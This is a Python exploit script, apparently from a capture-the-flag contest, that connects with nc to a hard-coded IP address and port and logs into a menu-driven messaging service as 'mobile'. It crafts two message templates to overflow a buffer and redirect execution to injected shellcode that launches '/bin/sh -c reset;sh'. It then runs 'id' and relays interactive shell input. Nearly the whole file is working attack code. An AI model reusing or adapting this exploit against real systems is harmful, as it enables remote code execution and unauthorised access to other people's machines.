#!/usr/bin/python
import os
import sys
import struct
import subprocess
import telnetlib

UP = '\x1b\x5b\x41'
DOWN = '\x1b\x5b\x42'
ESC = '\x1b'

def readuntil(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

def p(v):
    return struct.pack('<I', v)

def u(v):
    return struct.unpack('<I', v)[0]

proc = subprocess.Popen(['/bin/nc', '188.40.18.78', '1025'], stdin=subprocess.PIPE)
f = proc.stdin

f.write('49014-1419861283.0-df8c6e602e0d895a129b1da818291de2\n')

f.write(telnetlib.IAC + telnetlib.WILL + telnetlib.NAWS)
f.write(telnetlib.IAC + telnetlib.SB + telnetlib.NAWS + '\x00\xff\x00\xff' + telnetlib.IAC + telnetlib.SE)

def write(s):
    raw_input()
    f.write(s)

text_addr = 0x1C600

shellcode = open('shell.o').read()

args = ['/bin/sh\0', '-c\0', 'reset;sh\0']

template1 = shellcode.ljust(0x20, 'A')

addr = text_addr + 0x40
for arg in args:
    template1 += p(addr)
    addr += len(arg)
template1 += p(0)

template1 = template1.ljust(0x40, 'B')
template1 += ''.join(args)


template1 = template1.ljust(160, 'C')

template2 = 'A' * (212 - len(template1))
template2 += p(text_addr)

# login
write('mobile\n')
write('mobile\n')

# menu
write('\n')

# messages
write(DOWN)
write('\n')

# templates
write(UP)
write('\n')

# create template
write(DOWN)
write('\n')
write(template1)
write('\n')

# create another template
write('\n')
write(template2)
write('\n')

# back to messages
write(ESC)

# new message
write(DOWN)
write('\n')

# insert template 1
write('\n')
write(DOWN)
write('\n')
write('\n')

# insert template 2
write('\n')
write(DOWN)
write('\n')
write(DOWN)
write('\n')

# back out
write(ESC)

# new message
write('\n')

f.write('\n' * 10)
f.write('id\n')

while True:
    f.write(raw_input() + '\n')

proc.wait()
#t = telnetlib.Telnet()
#t.sock = s
#t.interact()